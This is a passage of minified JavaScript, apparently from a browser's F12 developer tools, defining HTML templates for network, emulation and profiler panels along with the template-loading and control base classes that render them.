converter=Common.CommonConverters.ResourceConverter"></div>            </div>        </div>    </div>';p.emulationLinkIconButton='<span tabindex="0" role="link">        <span class="inputIcon" data-controlbinding="attr-data-plugin-vs-tooltip:tooltip"></span>    </span>';p.emulationLinkButton='<a tabindex="0" data-controlbinding="innerHTML:content"></a>';p.emulationCustomUaStringTextBox='<div>    <input type="text" list="customUaStringDataList" data-name="_textBoxRoot" data-controlbinding="value:text; mode=twoway" />    <div id="customUaStringDataList" data-control="Common.Controls.ItemsControl" data-control-templateid="Emulation.emulationCustomUaStringDataList" data-binding="items:customUserAgentStrings" data-options="itemContainerControl:Common.TemplateControl(Emulation.emulationCustomUaStringDataListItem)"></div>    </div>';p.emulationCustomUaStringDataList="<datalist></datalist>";p.emulationCustomUaStringDataListItem='<option data-binding="text:text"></option>';var m=n(152);class g{}g.defaultGridSplitterTemplate='\n        <div class="splitter"></div>';g.collapsibleGridSplitterTemplate='\n        <div class="splitter">\n            <div data-name="splitterButton" class="splitterButton">&lt;</div>\n            <div class="splitterBody"></div>\n        </div>';g.waterfallItemTemplate='\n        <div class="waterfallItem" data-controlbinding="style.left:startRatio; converter=F12.Tools.Network.Converters.DecimalToPercentageStringConverter">\n            <div class="waterfallItemBar" data-name="waterfallItemBar" data-controlbinding="style.backgroundImage:backgroundImage,                                       style.minWidth:minWidth,                                       style.width:width"></div>\n        </div>';g.rootPanel='\n        <div id="rootContainer">\n            <div id="toolbar" data-name="toolbar" data-control="Common.Controls.ToolbarControl" data-control-templateid="Common.toolbarTemplateWithSearchControl" data-controlbinding="model:model" data-options="title:Network,                                panelTemplateId:Network.buttonPanel"></div>\n            <div data-name="mainPanel" data-control="Common.TemplateControl" data-control-templateid="Network.mainPanel" data-controlbinding="model:model"></div>\n            <div data-name="summaryBar" data-control="Common.TemplateControl" data-control-templateid="Network.summaryBarTemplate" data-controlbinding="model:model.summaryBarModel"></div>\n        </div>';g.summaryBarTemplate='\n        <div class="summaryBar" tabindex="0">\n            <span class="summaryBarErrorSpan badgeBackground badgeError" data-binding="event-click:onSummaryBarErrorSpanClicked,                                 innerText:errorCountString,                                 class-hasErrors:errorCount"></span>\n            <span class="summaryBarRequestSpan" data-binding="innerText:requestCount"></span>\n            <span class="summaryBarSizeSpan" data-binding="innerText:totalSize"></span>\n            <span class="summaryBarTimeSpan" data-binding="innerText:totalTime"></span>\n        </div>';g.buttonPanel='\n        <div>\n            <div data-name="startButton" data-control="Common.Controls.Button" data-control-templateid="Common.iconButton" data-binding="event-click:onStartButtonActivated, isVisible:isF12Host, isEnabled:canStart" data-options="className:startButton, tooltip:F12StartButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            <div data-name="stopButton" data-control="Common.Controls.Button" data-control-templateid="Common.iconButton" data-binding="event-click:onStopButtonActivated, isVisible:isF12Host, isEnabled:canStop" data-options="className:stopButton, tooltip:F12StopButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            \x3c!-- Currently hidden --\x3e\n            <div data-name="openButton" data-control="Common.Controls.Button" data-control-templateid="Common.iconButton" data-binding="event-click:onOpenButtonActivated, isEnabled:canOpen" data-options="className:openButton, isVisible:false; converter=Common.CommonConverters.StringToBooleanConverter, tooltip:ImportSessionTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            <div data-name="f12SaveButton" data-control="Common.Controls.Button" data-control-templateid="Common.iconButton" data-binding="event-click:onSaveButtonActivated, isVisible:isF12Host, isEnabled:canSave" data-options="className:saveButton, tooltip:F12ExportHarSessionTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            <div data-name="refreshServerButton" data-control="Common.Controls.ToggleButton" data-control-templateid="Common.iconButton" data-binding="isChecked:shouldRefreshFromServer; mode=twoway, isVisible:isF12Host" data-options="className:refreshServerButton, tooltip:RefreshServerTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            <div data-name="bypassServiceWorkersButton" data-control="Common.Controls.ToggleButton" data-control-templateid="Common.iconButton" data-binding="isChecked:shouldBypassServiceWorkers; mode=twoway, isVisible:isF12Host" data-options="className:bypassServiceWorkersButton, tooltip:BypassServiceWorkersTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            <div data-name="clearCacheButton" data-control="Common.Controls.Button" data-control-templateid="Common.iconButton" data-binding="event-click:onClearCache, isEnabled:canClearCache, isVisible:isF12Host" data-options="className:clearCacheButton, tooltip:ClearCacheTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            <div data-name="clearCookiesButton" data-control="Common.Controls.Button" data-control-templateid="Common.iconButton" data-binding="event-click:onClearCookies, isEnabled:canClearCookies, isVisible:canShowClearCookies" data-options="className:clearCookiesButton, tooltip:ClearCookiesForDomainTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            <div data-name="clearOnNavigateButton" data-control="Common.Controls.ToggleButton" data-control-templateid="Common.iconButton" data-binding="isChecked:shouldClearOnNavigate; mode=twoway, isVisible:isF12Host" data-options="className:clearOnNavigateButton, tooltip:ClearOnNavigateTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            <div data-name="clearSessionButton" data-control="Common.Controls.Button" data-control-templateid="Common.iconButton" data-binding="event-click:onClearSession, isEnabled:summaryModel.length; converter=Common.CommonConverters.IntToBooleanConverter" data-options="className:clearSessionButton, tooltip:ClearSessionTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            <div data-name="contentTypeFilterMenuButton" data-control="Common.Controls.ToggleButton" data-control-templateid="Common.labeledIconButton" data-binding="isChecked:contentTypeFilterModel.displayAll; converter=Common.CommonConverters.InvertBool" data-options="className:labeledIconButton33x24 filterContentTypeMenuButton, content:FilterContentType; converter=Common.CommonConverters.ResourceConverter, toggleIsCheckedOnClick:false; converter=Common.CommonConverters.StringToBooleanConverter, tooltip:FilterContentTypeMenuButtonTooltipText; converter=Common.CommonConverters.ResourceConverter"></div>\n        </div>';g.contentTypeFilterMenuDropDown='\n        <ul>\n            <div data-name="displayAll" data-control="Common.Controls.CheckBoxMenuItem" data-binding="isChecked:contentTypeFilterModel.displayAll; mode=twoway" data-options="content:ContentTypeAll; converter=Common.CommonConverters.ResourceConverter, tooltip:ContentTypeFilterAllTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            <hr />\n            <div data-name="displayDocuments" data-control="Common.Controls.CheckBoxMenuItem" data-binding="isChecked:contentTypeFilterModel.displayDocuments; mode=twoway" data-options="content:ContentTypeDocuments; converter=Common.CommonConverters.ResourceConverter, tooltip:ContentTypeFilterDocumentsTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            <div data-name="displayStylesheets" data-control="Common.Controls.CheckBoxMenuItem" data-binding="isChecked:contentTypeFilterModel.displayStylesheets; mode=twoway" data-options="content:ContentTypeStylesheets; converter=Common.CommonConverters.ResourceConverter, tooltip:ContentTypeFilterStylesheetsTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            <div data-name="displayImages" data-control="Common.Controls.CheckBoxMenuItem" data-binding="isChecked:contentTypeFilterModel.displayImages; mode=twoway" data-options="content:ContentTypeImages; converter=Common.CommonConverters.ResourceConverter, tooltip:ContentTypeFilterImagesTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            <div data-name="displayScripts" data-control="Common.Controls.CheckBoxMenuItem" data-binding="isChecked:contentTypeFilterModel.displayScripts; mode=twoway" data-options="content:ContentTypeScripts; converter=Common.CommonConverters.ResourceConverter, tooltip:ContentTypeFilterScriptsTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            <div data-name="displayMedia" data-control="Common.Controls.CheckBoxMenuItem" data-binding="isChecked:contentTypeFilterModel.displayMedia; mode=twoway" data-options="content:ContentTypeMedia; converter=Common.CommonConverters.ResourceConverter, tooltip:ContentTypeFilterMediaTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            <div data-name="displayFonts" data-control="Common.Controls.CheckBoxMenuItem" data-binding="isChecked:contentTypeFilterModel.displayFonts; mode=twoway" data-options="content:ContentTypeFonts; converter=Common.CommonConverters.ResourceConverter, tooltip:ContentTypeFilterFontsTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            <div data-name="displayXHR" data-control="Common.Controls.CheckBoxMenuItem" data-binding="isChecked:contentTypeFilterModel.displayXHR; mode=twoway" data-options="content:ContentTypeXHR; converter=Common.CommonConverters.ResourceConverter, tooltip:ContentTypeFilterXHRTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n            <div data-name="displayOther" data-control="Common.Controls.CheckBoxMenuItem" data-binding="isChecked:contentTypeFilterModel.displayOther; mode=twoway" data-options="content:ContentTypeOther; converter=Common.CommonConverters.ResourceConverter, tooltip:ContentTypeFilterOtherTooltip; converter=Common.CommonConverters.ResourceConverter"></div>\n        </ul>';g.mainPanel='\n        <div data-name="mainPanel" id="mainPanel" class="mainPanel">\n            <div data-name="summaryView" id="summaryView" class="summary" data-control="F12.Tools.Network.SummaryView" data-controlbinding="model:model" data-binding="items:summaryModel, selectedItem:currentSummaryItem; mode=twoway"></div>\n            <div data-name="mainSplitter" id="mainSplitter" data-control="F12.Tools.Network.CollapsibleGridSplitter" data-binding="isCollapsed: detailsPanelCollapsed; mode=twoway" data-options="alignment:right, defaultPosition: 330; converter=Common.CommonConverters.StringToIntConverter, minPosition: 330; converter=Common.CommonConverters.StringToIntConverter"></div>\n            <div data-name="selectionPanel" id="selectionPanel" data-control="F12.Tools.Network.SelectionView" data-binding="model:currentSummaryItem"></div>\n        </div>';g.editorToolbarButton='\n        <div class="editorButtonContainer BPT-button" tabindex="0">\n            <span class="editorButton buttonIcon"></span>\n        </div>';g.editorToolbarPanel='\n        <div data-options="className:editorToolbar">\n            <div data-name="prettyPrintButton" data-control="Common.Controls.ToggleButton" data-binding="isEnabled:prettyPrintState; converter=Common.CommonConverters.NotDisabledToTrue, isChecked:prettyPrintState; converter=Common.CommonConverters.OnToTrue; mode=twoway" data-control-templateid="Network.editorToolbarButton" data-options="className:prettyPrintButton, tooltip:PrettyPrintButtonTooltip;converter=Common.CommonConverters.ResourceConverter"></div>\n            <div data-name="wordWrapButton" data-control="Common.Controls.ToggleButton" data-binding="isEnabled:wordWrapState; converter=Common.CommonConverters.NotDisabledToTrue, isChecked:wordWrapState; converter=Common.CommonConverters.OnToTrue; mode=twoway" data-control-templateid="Network.editorToolbarButton" data-options="className:wordWrapButton, tooltip:WordWrapButtonTooltip;converter=Common.CommonConverters.ResourceConverter"></div>\n        </div>';g.resourceImageControlTemplate='\n        <div data-options="className:imageControlContainer">\n            <img data-name="imageDisplay" data-options="className:bodyImage" data-binding="src:imageData, class-BPT-hidden:imageData; converter=Common.CommonConverters.InvertBool" />\n            <div data-name="keyValuePairList" data-control="Common.Controls.ItemsControl" data-binding="items:displayProperties" data-options="itemContainerControl:Common.TemplateControl(Network.keyValuePairListItem)"></div>\n        </div>';g.keyValuePairListItem='\n        <div class="keyValuePair">\n            <span class="key-string" data-binding="textContent:key"></span>\n            <span class="value-string" data-binding="textContent:value"></span>\n        </div>';g.label='\n        <div data-controlbinding="textContent:content"></div>';g.defaultSummaryItemLinkTemplate='\n        <span>\n            <a class="_summaryLink BPT-FileLink clippedText" tabindex="0" data-controlbinding="textContent:content"></a>\n        </span>';g.gridKeyValueViewer='\n        <div class="gridKeyValueViewer">\n            <div data-control="Common.Controls.ContentControl" data-control-templateid="Network.label" data-options="className:noDataLabel, tabIndex: 0" data-controlbinding="isVisible:hasData; converter=Common.CommonConverters.InvertBool, content:placeholder"></div>\n            <div data-name="gridContainer" data-control="Common.TemplateControl" data-options="className:gridContainer" data-controlbinding="isVisible:hasData"></div>\n        </div>';g.resourcePlaceholderTemplate='\n        <div class="noDataLabel">\n            <div data-control="Common.Controls.ContentControl" data-control-templateid="Network.label" data-binding="content:text" data-options="tabIndex:0"></div>\n        </div>';g.resourceTextTemplate='\n        <div class="editorControlContainer">\n            <div data-name="editorToolbar" data-control="Common.TemplateControl" data-control-templateid="Network.editorToolbarPanel"></div>\n            <div data-name="editorRoot" class="editorElement"></div>\n        </div>';g.bodyView='\n        <div class="bodyView">\n            <div class="requestResponseSelector" data-name="bodyViewTabControl" data-control="Common.Controls.TabControl" data-controlbinding="isVisible:model, tabsLeftAligned:true"></div>\n            <div data-name="resourceViewerContainer" class="resourceViewerContainer"></div>\n            <div data-control="Common.Controls.ContentControl" data-control-templateid="Network.label" data-options="content:ResourceNothingSelected; converter=Common.CommonConverters.ResourceConverter, tabIndex: 0" data-controlbinding="isVisible:model; converter=Common.CommonConverters.InvertBool"></div>\n        </div>';g.timingsTooltip='\n        <div class="timingsView">\n            <div data-control="F12.Tools.Network.TimingsView" data-control-templateid="Network.timingsViewBody" data-controlbinding="model:model" data-options="hideRedirectInfo:true"></div>\n        </div>';g.timingsView='\n        <div class="timingsView">\n            <div data-control="F12.Tools.Network.TimingsView" data-control-templateid="Network.timingsViewBody" data-controlbinding="isVisible:model, model:model, hideRedirectInfo:hideRedirectInfo"></div>\n            <div data-control="Common.Controls.ContentControl" data-control-templateid="Network.label" data-options="className:timingsMessage, tabIndex: 0, content:ResourceNothingSelected; converter=Common.CommonConverters.ResourceConverter" data-controlbinding="isVisible:model; converter=Common.CommonConverters.InvertBool"></div>\n        </div>';g.timingsViewBody='\n        <div>\n            <div class="timingsGanttChart" data-name="timingsGanttChart" data-control="Common.Controls.ItemsControl" data-binding="items:timingsViewModel.stages" data-options="itemContainerControl:F12.Tools.Network.TooltipTemplateControl(Network.timingsRow)"></div>\n            <div data-control="Common.Controls.ContentControl" data-control-templateid="Network.label" data-options="className:timingsMessage" data-binding="content:timingsViewModel.message"></div>\n            <div data-controlbinding="class-BPT-hidden:hideRedirectInfo">\n                <div class="redirectionInfo" data-control="Common.TemplateControl" data-control-templateid="Network.redirectionInfo" data-controlbinding="isVisible:model.hasRedirectionInfo, model:model"></div>\n            </div>\n        </div>';g.timingsRow='\n        <div class="keyValuePair" data-binding="attr-data-plugin-vs-tooltip:tooltip">\n            <div data-binding="textContent:timingsStage" class="key-string"></div>\n            <div class="value-string">\n                <span data-name="timingsBar" data-binding="style.backgroundColor:color, style.marginLeft:startRatio; converter=F12.Tools.Network.Converters.DecimalToPercentageStringConverter, style.width:durationRatio; converter=F12.Tools.Network.Converters.DecimalToPercentageStringConverter"></span>\n                <span data-name="timingsBarLabel" class="timingsBarLabel" data-binding="textContent:duration; converter=F12.Tools.Network.Converters.TimeStampToStringConverter"></span>\n            </div>\n        </div>';g.redirectionInfo='\n        <div>\n            <hr />\n            <div data-control="Common.Controls.ContentControl" data-control-templateid="Network.redirectionKeyValuePair" data-options="content:RedirectedFromLabel; converter=Common.CommonConverters.ResourceConverter" data-binding="isVisible:redirectedFrom, model:redirectedFrom"></div>\n            <div data-control="Common.Controls.ContentControl" data-control-templateid="Network.redirectionKeyValuePair" data-options="content:RedirectedToLabel; converter=Common.CommonConverters.ResourceConverter" data-binding="isVisible:redirectedTo, model:redirectedTo"></div>\n        </div>';g.redirectionKeyValuePair='\n        <div class="keyValuePair">\n            <span class="key-string" data-controlbinding="textContent:content"></span>\n            <div class="value-string" data-control="F12.Tools.Network.SummaryItemLinkControl" data-binding="itemId:id"></div>\n        </div>';g.cellURL='\n        <div data-binding="control.tooltip:fullURL">\n            <div class="clippedText" data-binding="textContent:fullURL; converter=F12.Tools.Network.Converters.UrlToFilenameConverter"></div>\n            <div class="clippedText" data-binding="class-urlWithNoName:fullURL; converter=F12.Tools.Network.Converters.UrlHasNoNameConverter, textContent:fullURL; converter=F12.Tools.Network.Converters.UrlToPathConverter"></div>\n        </div>';g.cellMethod='\n        <div class="clippedText" data-binding="control.tooltip:method, textContent:method"></div>';g.cellStatusCode='\n        <div data-binding="className:statusCode; converter=F12.Tools.Network.Converters.StatusCodeToClassNameConverter, control.tooltip:statusText">\n            <div class="clippedText" data-binding="textContent:statusCode; converter=F12.Tools.Network.Converters.ZeroToEmptyStringConverter"></div>\n            <div class="clippedText" data-binding="textContent:statusText"></div>\n        </div>';g.cellProtocol='\n        <div data-binding="control.tooltip:protocolName">\n            <div class="clippedText" data-binding="textContent:protocolName"></div>\n            <div class="clippedText" data-binding="textContent:protocolStatus"></div>\n        </div>';g.cellContentType='\n        <div class="clippedText" data-binding="control.tooltip:contentType, textContent:contentType"></div>';g.cellTransferSize='\n        <div class="clippedText" data-binding="class-cellStyle-cachedResponse:timingsState; converter=F12.Tools.Network.Converters.TimingsStateIsServedFromCacheConverter, control.tooltip:transferSize, textContent:transferSize"></div>';g.cellCookies='\n        <div class="clippedText" data-binding="control.tooltip:numCookies; converter=F12.Tools.Network.Converters.ZeroToEmptyStringConverter, textContent:numCookies; converter=F12.Tools.Network.Converters.ZeroToEmptyStringConverter"></div>';g.cellTotalTime='\n        <div class="clippedText" data-binding="control.tooltip:totalTime; converter=F12.Tools.Network.Converters.TimeStampToStringConverter, textContent:totalTime; converter=F12.Tools.Network.Converters.TimeStampToStringConverter"></div>';g.cellInitiator='\n        <div>\n            <div data-name="sourceInfo" data-control="Common.Controls.SourceInfoControl" data-control-templateid="Common.sourceInfoSourceOnlyTemplate" data-binding="model:initiatorSourceInfo" data-controlbinding="event-click:onSourceInfoClicked" data-options="className:clippedText" tabindex="-1"></div>\n            <div class="clippedText" data-binding="textContent:initiatorType"></div>\n        </div>';class f{}f.toolbarButtonsPanel='<div>        <div data-name="startToolbarButton" data-control="Common.Controls.Button" data-control-templateid="Common.iconButton24x24" data-options="className:startToolbarButton,                                tooltip:F12StartButtonTooltip; converter=Common.CommonConverters.ResourceConverter" data-binding="isEnabled:startProfilingEnabled"></div>        <div data-name="stopToolbarButton" data-control="Common.Controls.Button" data-control-templateid="Common.iconButton24x24" data-options="className:stopToolbarButton,                                tooltip:F12StopButtonTooltip; converter=Common.CommonConverters.ResourceConverter" data-binding="isEnabled:stopProfilingEnabled"></div>        <div data-name="openSessionButton" data-control="Common.Controls.Button" data-control-templateid="Common.iconButton24x24" data-options="className:openSessionButton,                                tooltip:F12OpenSessionButtonTooltip; converter=Common.CommonConverters.ResourceConverter" data-binding="isEnabled:openSessionEnabled"></div>        <div data-name="saveSessionButton" data-control="Common.Controls.Button" data-control-templateid="Common.iconButton24x24" data-options="className:saveSessionButton,                                tooltip:F12SaveSessionButtonTooltip; converter=Common.CommonConverters.ResourceConverter" data-binding="isEnabled:saveSessionEnabled"></div>        <div data-name="zoomInButton" data-control="Common.Controls.Button" data-control-templateid="Common.iconButton24x24" data-options="className:zoomInButton,                                tooltip:ToolbarButtonZoomIn; converter=Common.CommonConverters.ResourceConverter" data-binding="isEnabled:zoomInEnabled"></div>        <div data-name="resetZoomButton" data-control="Common.Controls.Button" data-control-templateid="Common.iconButton24x24" data-options="className:resetZoomButton,                                tooltip:ToolbarButtonResetZoom; converter=Common.CommonConverters.ResourceConverter" data-binding="isEnabled:resetZoomEnabled"></div>        <div data-name="clearSelectionButton" data-control="Common.Controls.Button" data-control-templateid="Common.iconButton24x24" data-options="className:clearSelectionButton,                                tooltip:ToolbarButtonClearSelection; converter=Common.CommonConverters.ResourceConverter" data-binding="isEnabled:clearSelectionEnabled"></div>    </div>';f.filteringBarTemplate='<div class="filteringBar">        <div id="timelineSort" class="timelineSort">            <label class="timelineSortLabel" for="timelineSortSelector" data-options="textContent:TimelineSortLabel; converter=Common.CommonConverters.ResourceConverter"></label>            <div id="timelineSortSelector" data-control="Common.Controls.ComboBox" data-binding="items:sortOptions,                                    selectedValue:sort; mode=twoway; converter=Common.CommonConverters.IntToStringConverter" data-options="className:timelineSortSelector"></div>        </div>        <div data-name="frameGroupingButton" data-control="Common.Controls.ToggleButton" data-control-templateid="Common.iconButton24x24" data-binding="isChecked:displayFrames; mode=twoway" data-options="className:frameGroupingButton,                                tabIndex:0,                                tooltip:FrameGroupingTooltip; converter=Common.CommonConverters.ResourceConverter"></div>        <div data-name="filteringMenuButton" data-control="Common.Controls.ToggleButton" data-control-templateid="Common.labeledIconButton" data-binding="isChecked:hasFilter" data-options="className:labeledIconButton33x24 filteringMenuButton,                                content:FilterEvents; converter=Common.CommonConverters.ResourceConverter,                                tabIndex:0,                                toggleIsCheckedOnClick:false; converter=Common.CommonConverters.StringToBooleanConverter,                                tooltip:FilteringMenuButtonTooltipText; converter=Common.CommonConverters.ResourceConverter"></div>    </div>';f.cpuUsageTemplate='<div class="cpu-usage-body">        <div class="cpu-usage-container">            <div class="cpu-usage-main" id="mainContainer">                <div class="cpu-usage-toolbar" id="toolbarForm">                    <div class="create-report">                        <div class="create-report-button" id="buttonCreateDetailedReport"></div>                    </div>                    <div class="thread-filter" id="filterContainer"></div>                    <div class="search-container" id="search-container"></div>                </div>            </div>            <div id="gridContainer" class="main-gridcontainer"></div>        </div>        <div class="cpu-usage-container-overlay">            <div id="progress-container" class="progress-container">                <div id="progressMessage" class="progress progress-hidden"></div>                <div>                    <progress id="progressBar" class="progress progress-hidden"></progress>                </div>            </div>        </div>    </div>';f.filteringMenuDropDown='<ul>        <div data-name="eventNameFilter" data-control="Common.Controls.TextBoxMenuItem" data-binding="content:eventNameFilter; mode=twoway" data-options="className:eventNameFilter,                                placeholder:EventNameFilterPlaceholder; converter=Common.CommonConverters.ResourceConverter,                                tooltip:EventNameFilterTooltip; converter=Common.CommonConverters.ResourceConverter"></div>        <hr />        <div data-name="displayImageDecoding" data-control="Common.Controls.CheckBoxMenuItem" data-binding="isChecked:displayImageDecoding; mode=twoway" data-options="content:FilterImageDecoding; converter=Common.CommonConverters.ResourceConverter,                                tooltip:BackgroundActivityFilterTooltip; converter=Common.CommonConverters.ResourceConverter"></div>        <div data-name="displayNetworkActivities" data-control="Common.Controls.CheckBoxMenuItem" data-binding="isChecked:displayNetworkActivities; mode=twoway" data-options="content:FilterNetworkActivities; converter=Common.CommonConverters.ResourceConverter,                                tooltip:NetworkTrafficFilterTooltip; converter=Common.CommonConverters.ResourceConverter"></div>        <div data-name="displayUIActivities" data-control="Common.Controls.CheckBoxMenuItem" data-binding="isChecked:displayUIActivities; mode=twoway" data-options="content:FilterUIActivities; converter=Common.CommonConverters.ResourceConverter,                                tooltip:UIActivityFilterTooltip; converter=Common.CommonConverters.ResourceConverter"></div>        <div data-name="displayMeasures" data-control="Common.Controls.CheckBoxMenuItem" data-binding="isChecked:displayMeasures; mode=twoway" data-options="content:FilterMeasures; converter=Common.CommonConverters.ResourceConverter,                                tooltip:UserMeasuresFilterTooltip; converter=Common.CommonConverters.ResourceConverter"></div>        <hr />        <div data-name="durationFilter" data-control="Common.Controls.ComboBoxMenuItem" data-binding="items:durationFilterOptions,                                selectedValue:durationFilter; mode=twoway; converter=Common.CommonConverters.IntToStringConverter" data-options="tooltip:DurationFilterTooltip; converter=Common.CommonConverters.ResourceConverter"></div>    </ul>';f.asyncStackFrameItem='<div class="BPT-FileLink asyncFrameLink">        <a data-name="stackLink">            <span data-name="asyncFrameFunctionName" data-options="className:asyncFrameFunctionName" data-binding="innerText:name"></span>            (<span data-name="asyncFrameFileName" data-options="className:asyncFrameFileName" data-binding="innerText:source; converter=Common.CommonConverters.CreateShortenedUrlConverter"></span>:<span data-name="asyncFrameLineNumber" data-options="className:asyncFrameLineNumber" data-binding="innerText:line; converter=Common.CommonConverters.IntToStringConverter"></span>)        </a>        <br />    </div>';f.eventDataTemplate='<div class="eventDataTemplate">        <div data-name="eventDataTemplateNameCell" class="eventDataTemplateNameCell">            <div data-name="expander"></div>            <div data-name="eventName" class="eventDataTemplateName"></div>        </div>        <div data-name="eventData" class="eventDataTemplateDataCell">            <div data-name="bar" class="eventBar"></div>            <div data-name="durationText" class="durationText"></div>        </div>    </div>';f.eventDataTooltip='<div data-name="tooltip">        <div data-name="durationInc"></div>        <div data-name="durationExc"></div>        <div data-name="startTime"></div>    </div>';const _={Storage:d,Common:u,Debugger:h,Emulation:p,MemoryAnalyzer:m.a,Network:g,VisualProfiler:f};class v{constructor(e){r.a.hasValue(e,"Invalid template container.");this._container=e;this._registeredTemplates={}}getTemplateString(e){r.a.isTrue(!!e,"Invalid template ID.");var t;if(!(t=this._registeredTemplates[e])){for(var n=this._container,o=e.split("."),i=0;i<o.length;i++){n=n[o[i]];r.a.isTrue(!!n,"Couldn't find the template with the given ID '"+e+"'.")}t=n}r.a.areEqual(typeof t,"string","The given template name doesn't point to a template.");return t}registerTemplateString(e,t){r.a.isTrue(!!e,"Invalid template ID.");r.a.isUndefined(this._registeredTemplates[e],"Template with id '"+e+"' already registered.");this._registeredTemplates[e]=t}}const b=new v(_);class C{constructor(e){r.a.hasValue(e,"Invalid template repository.");this._parsingNode=document.createElement("div");this._repository=e;this._templateCache={};this._visitedControls={};this._visitedTemplates={}}get repository(){return this._repository}loadTemplate(e){var t=this._templateCache[e];if(!t){var n=this._repository.getTemplateString(e);r.a.isFalse(this._visitedTemplates[e],"Detected a recursive template. TemplateId '"+e+"' is part of the parents hierarchy.");this._visitedTemplates[e]=!0;try{t=this.loadTemplateUsingHtml(n)}finally{this._visitedTemplates[e]=!1}this._templateCache[e]=t}var o=t.cloneNode(!0);return o=this.resolvePlaceholders(o)}loadTemplateUsingHtml(e){this._parsingNode.innerHTML=e;r.a.areEqual(this._parsingNode.childElementCount,1,"Template should have only one root element.");var t=this._parsingNode.children[0];this._parsingNode.removeChild(t);for(var n=[t];n.length>0;)for(var o=n.pop(),i=o.childNodes.length-1;i>=0;i--){var a=o.childNodes.item(i);a.nodeType===Node.COMMENT_NODE?o.removeChild(a):a.hasChildNodes()&&n.push(a)}return t}getControlInstance(e,t){r.a.isTrue(!!e,"Invalid control name.");var n=c.a.createFromString(e);t&&(n.templateId=t);var o=n.getNewControl();r.a.hasValue(o.rootElement,"The given control '"+e+"' doesn't represent a control type which implements IControl.");o.rootElement.control!==o&&(o.rootElement.control=o);return o}resolvePlaceholders(e){if(e.hasAttribute(s.a.CONTROL))e=this.resolvePlaceholder(e);else for(var t=e.querySelectorAll("div["+s.a.CONTROL+"]"),n=t.length,o=0;o<n;o++){var r=t[o];this.resolvePlaceholder(r)}return e}resolvePlaceholder(e){r.a.isFalse(e.hasChildNodes(),"Control placeholders cannot have children.");var t=e.getAttribute(s.a.CONTROL),n=e.getAttribute(s.a.CONTROL_TEMPLATE_ID),o=t+(n?","+n:"");r.a.isFalse(this._visitedControls[o],"Detected a recursive control. Control '"+o+"' is part of the parents hierarchy.");this._visitedControls[o]=!0;try{var i=this.getControlInstance(t,n)}finally{this._visitedControls[o]=!1}for(var a=i.rootElement,l=0;l<e.attributes.length;l++){var c=e.attributes[l];a.setAttribute(c.name,c.value)}e.parentElement&&e.parentElement.replaceChild(a,e);return a}}var y=new C(b);n.d(t,"a",function(){return E});class E extends o.b{constructor(e){super();this.onInitializeOverride();this._templateId=e;this.setRootElementFromTemplate()}get model(){return this._model}set model(e){if(this._model!==e){this._model=e;this.onModelChanging();this.propertyChanged.invoke(E.ModelPropertyName);this.onModelChanged()}}get tabIndex(){return this._tabIndex?this._tabIndex:0}set tabIndex(e){if(this._tabIndex!==e){var t=this._tabIndex;this._tabIndex=e>>0;this.propertyChanged.invoke(E.TabIndexPropertyName);this.onTabIndexChanged(t,this._tabIndex)}}get templateId(){return this._templateId}set templateId(e){if(this._templateId!==e){this._templateId=e;this._binding.unbind();this.setRootElementFromTemplate();this.propertyChanged.invoke(E.TemplateIdPropertyName)}}static initialize(){o.a.defineProperty(E,E.ClassNamePropertyName,null,(e,t,n)=>e.onClassNameChanged(t,n));o.a.defineProperty(E,E.IsEnabledPropertyName,!0,e=>e.onIsEnabledChanged());o.a.defineProperty(E,E.IsVisiblePropertyName,!0,e=>e.onIsVisibleChanged());o.a.defineProperty(E,E.TooltipPropertyName,null,e=>e.onTooltipChanged())}getBinding(e,t){var n;this._binding&&(n=this._binding.findBinding(e,t));return n}onApplyTemplate(){this.onClassNameChanged(null,this.className);this.onIsVisibleChanged();this.onTabIndexChanged(null,this._tabIndex);this.onTooltipChanged()}onInitializeOverride(){}onModelChanged(){}onModelChanging(){}onTemplateChanging(){}getNamedControl(e){var t=this.getNamedElement(e);return t?t.control:null}getNamedElement(e){var t=[];t.push(this.rootElement);for(;t.length>0;){var n=t.pop();if(n.getAttribute(s.a.NAME)===e)return n;if(n.children&&(!n.hasAttribute(s.a.CONTROL)||n===this.rootElement))for(var o=n.children.length,r=0;r<o;r++)t.push(n.children[r])}return null}onIsEnabledChangedOverride(){}onIsVisibleChangedOverride(){}onTabIndexChangedOverride(){}onTooltipChangedOverride(){}onClassNameChanged(e,t){if(this.rootElement){if(e)for(var n=e.split(" "),o=0;o<n.length;o++)this.rootElement.classList.remove(n[o]);if(t){var r=t.split(" ");for(o=0;o<r.length;o++)this.rootElement.classList.add(r[o])}}}onIsEnabledChanged(){if(this.rootElement){if(this.isEnabled){this.rootElement.classList.remove(E.CLASS_DISABLED);this.rootElement.removeAttribute("aria-disabled");this.onTabIndexChanged(this._tabIndex,this._tabIndex)}else{this.rootElement.classList.add(E.CLASS_DISABLED);this.rootElement.setAttribute("aria-disabled","true");this.rootElement.tabIndex=-1}this.onIsEnabledChangedOverride()}}onIsVisibleChanged(){if(this.rootElement){if(this.isVisible){this.rootElement.classList.remove(E.CLASS_HIDDEN);this.rootElement.removeAttribute("aria-hidden");this.onTabIndexChanged(this._tabIndex,this._tabIndex)}else{this.rootElement.classList.add(E.CLASS_HIDDEN);this.rootElement.setAttribute("aria-hidden","true");this.rootElement.tabIndex=-1}this.onIsVisibleChangedOverride()}}onTabIndexChanged(e,t){if(this.rootElement){this.isEnabled&&this.isVisible&&(e||t||0===t)&&(this.rootElement.tabIndex=t);e!==t&&this.onTabIndexChangedOverride()}}onTooltipChanged(){this.rootElement&&this.onTooltipChangedOverride()}setRootElementFromTemplate(){var 